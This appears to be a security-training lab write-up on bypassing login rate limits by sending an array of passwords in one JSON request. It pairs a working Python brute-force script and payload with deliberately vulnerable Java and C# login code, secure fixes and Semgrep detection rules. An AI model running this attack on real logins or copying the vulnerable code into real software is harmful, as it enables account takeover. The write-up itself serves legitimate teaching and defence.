Lab 06: Broken brute-force protection, multiple credentials per request
1. Executive Summary
Vulnerability: Broken Brute-Force Protection (JSON Array Injection).
Description: The application accepts authentication credentials via JSON. While it likely implements rate limiting based on the number of HTTP requests, it fails to validate the data type of the password field. By submitting an array of passwords instead of a single string, an attacker can test dozens or hundreds of passwords in a single HTTP request, effectively bypassing request-based rate limits.
Impact: Massive brute-force efficiency. An attacker can test an entire dictionary of passwords in one go, completely sidestepping standard IP blocking or lockout mechanisms.
2. The Attack
Objective: Brute-force carlos’s password by sending the entire password list in a single payload.
Reconnaissance: I intercepted the login request. I noticed the
Content-Typewasapplication/jsonand the body structure was:JSON1 2 3 4
{ "username": "carlos", "password": "123" }
- Hypothesis: If the backend parser uses a loop to check input, or if the library automatically creates a list from an array, I might be able to send multiple passwords at once.
- Exploitation:
- I modified the JSON in Burp Repeater. I changed the
passwordfield from a string to a JSON Array[...]. - I pasted the entire contents of the candidate password list into this array.
Payload:JSON
1 2 3 4 5 6 7 8 9
{ "username": "carlos", "password": [ "123456", "password", "12345678", "..." ] }
- I modified the JSON in Burp Repeater. I changed the
- Result: The server processed the request and returned a
302 Found. - Access: The backend found one correct password in that list and logged me in. I used “Show response in browser” to assume the session.
3. Code Review
Vulnerability Analysis (Explanation): The flaw is often in how flexible JSON libraries (like Jackson in Java or Newtonsoft in C#) bind data to objects, combined with developer logic that iterates blindly.
- The Flaw: The code accepts a
List<String>orObjectfor the password field, instead of strictly enforcing a singleString. - The Logic: The backend iterates through the provided input. If any of the strings match the real password, it sets the user as authenticated.
Java (Spring Boot)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
@PostMapping(value = "/login", consumes = "application/json")
// VULNERABLE: Using Object or untyped Map allowing polymorphic deserialization
public ResponseEntity<?> login(@RequestBody Map<String, Object> credentials) {
String username = (String) credentials.get("username");
Object passwordInput = credentials.get("password");
User user = userRepository.findByUsername(username);
// FLAW: Logic to handle both single password AND list of passwords
if (passwordInput instanceof List) {
List<String> attempts = (List<String>) passwordInput;
for (String pwd : attempts) {
if (passwordEncoder.matches(pwd, user.getPassword())) {
return ResponseEntity.ok(createToken(user));
}
}
} else {
// Normal check
if (passwordEncoder.matches((String)passwordInput, user.getPassword())) {
return ResponseEntity.ok(createToken(user));
}
}
return ResponseEntity.status(401).build();
}
Technical Flow & Syntax Explanation:
@RequestBody Map<String, Object>: By usingObject, the developer allows the JSON parser to deserializepasswordas aStringOR anArrayList.instanceof List: The code explicitly accommodates the array format, looping through every entry. This effectively moves the brute-force attack from the network layer (detectable) to the CPU layer (harder to detect).
C# (ASP.NET Core)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[HttpPost("login")]
public IActionResult Login([FromBody] JObject data)
{
// VULNERABLE: JObject allows dynamic types
var username = data["username"].ToString();
var passwordToken = data["password"];
var user = _db.Users.Single(u => u.Username == username);
// FLAW: Iterating if the token is an array
if (passwordToken.Type == JTokenType.Array)
{
foreach (var pwd in passwordToken)
{
if (Verify(pwd.ToString(), user.Hash))
return Ok(new { token = "..." });
}
}
else
{
if (Verify(passwordToken.ToString(), user.Hash))
return Ok(new { token = "..." });
}
return Unauthorized();
}
Technical Flow & Syntax Explanation:
JObject/JTokenType.Array: Using untyped JSON objects allows the client to dictate the data structure.- Looping: The
foreachloop processes every attempt within a single request context, bypassing any middleware that counts “1 Request = 1 Login Attempt”.
Mock PR Comment
The login endpoint accepts a JSON array for the password field and iterates through all supplied values to check for a match. This allows attackers to test thousands of passwords in a single HTTP request, bypassing our rate limiting.
Recommendation: Strictly enforce that the password field must be a single String. If the JSON parser encounters an array, it should throw a deserialization error (400 Bad Request).
4. The Fix
Explanation of the Fix: We must define a Strict DTO (Data Transfer Object). The password field in the class definition must be of type String. If the client sends an array [...], the JSON parser will fail to map it to the String field and throw an exception immediately.
Secure Java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SECURE: Strict DTO Class
public class LoginRequest {
private String username;
// This forces the parser to expect a String only.
// An array [ "a", "b" ] will cause a JsonMappingException.
private String password;
// getters/setters
}
@PostMapping("/login")
public ResponseEntity<?> login(@RequestBody LoginRequest loginRequest) {
// We only check ONE password per request.
if (authService.check(loginRequest.getUsername(), loginRequest.getPassword())) {
return ResponseEntity.ok().build();
}
return ResponseEntity.status(401).build();
}
Technical Flow & Syntax Explanation:
private String password: Strong typing prevents type confusion.- Framework Defense: Spring Boot’s Jackson library handles the validation automatically. An array input effectively crashes the request parsing before it reaches the business logic.
Secure C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SECURE: Strong Typing
public class LoginDto
{
public string Username { get; set; }
public string Password { get; set; } // Only accepts a string literal
}
[HttpPost("login")]
public IActionResult Login([FromBody] LoginDto model)
{
// The framework validates the JSON structure before this line.
// Logic only runs once.
if (_auth.Validate(model.Username, model.Password))
{
return Ok();
}
return Unauthorized();
}
5. Automation
A Python script that reads a password list, formats it into a JSON array, and sends the “Batch Attack”.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python3
import argparse
import requests
import json
import sys
def exploit_json_bypass(url, username, password_file):
login_url = f"{url.rstrip('/')}/login"
print(f"[*] Targeting: {login_url}")
print(f"[*] Victim: {username}")
with open(password_file, 'r', encoding='utf-8', errors='ignore') as f:
passwords = [line.strip() for line in f if line.strip()]
print(f"[*] Loaded {len(passwords)} passwords.")
payload = {
"username": username,
"password": passwords
}
headers = {"Content-Type": "application/json"}
print("[*] Sending batch request...")
try:
# Don't allow redirects so we can see the 302 Found
resp = requests.post(login_url, json=payload, headers=headers, allow_redirects=False)
print(f"[*] Status Code: {resp.status_code}")
# check for success
if resp.status_code == 302:
print("[!!!] SUCCESS: The server accepted one of the passwords in the list!")
# Note: We don't know WHICH one exactly, but we are logged in.
if "session" in resp.cookies:
print(f"[+] Session Cookie: {resp.cookies.get('session')}")
elif resp.status_code == 200 and "error" not in resp.text.lower():
# Sometimes success is 200 OK with a token
print("[?] Possible success (200 OK). Check response body.")
else:
print("[-] Attack failed. Server might have rejected the array format.")
except Exception as e:
print(f"[-] Error: {e}")
def main():
ap = argparse.ArgumentParser()
ap.add_argument("url", help="Lab URL")
ap.add_argument("victim", help="Victim username")
ap.add_argument("wordlist", help="Password list")
args = ap.parse_args()
exploit_json_bypass(args.url, args.victim, args.wordlist)
if __name__ == "__main__":
main()
6. Static Analysis (Semgrep)
These rules look for code that manually inspects the type of a password field to see if it’s a List/Array.
Java Rule
1
2
3
4
5
6
7
8
9
10
11
12
13
rules:
- id: java-json-password-list-check
languages: [java]
message: |
The code appears to check if the password field is a List/Collection.
This suggests it supports batch password submission, which bypasses rate limiting.
Enforce a single String type.
severity: WARNING
patterns:
- pattern-either:
- pattern: if ($PASS instanceof List) { ... }
- pattern: if ($PASS instanceof ArrayList) { ... }
- pattern: if ($PASS instanceof Collection) { ... }
Technical Flow & Syntax Explanation:
instanceof List: This is the smoking gun. There is almost never a legitimate reason to accept a list of passwords for a single login attempt.
C# Rule
1
2
3
4
5
6
7
8
rules:
- id: csharp-json-password-array-check
languages: [csharp]
message: "Detected logic handling JSON Array for password field. Potential brute-force bypass."
severity: WARNING
patterns:
- pattern: |
if ($TOKEN.Type == JTokenType.Array) { ... }
Technical Flow & Syntax Explanation:
JTokenType.Array: Specific to Newtonsoft.Json (Json.NET). Flags manual type checking that enables the vulnerability.
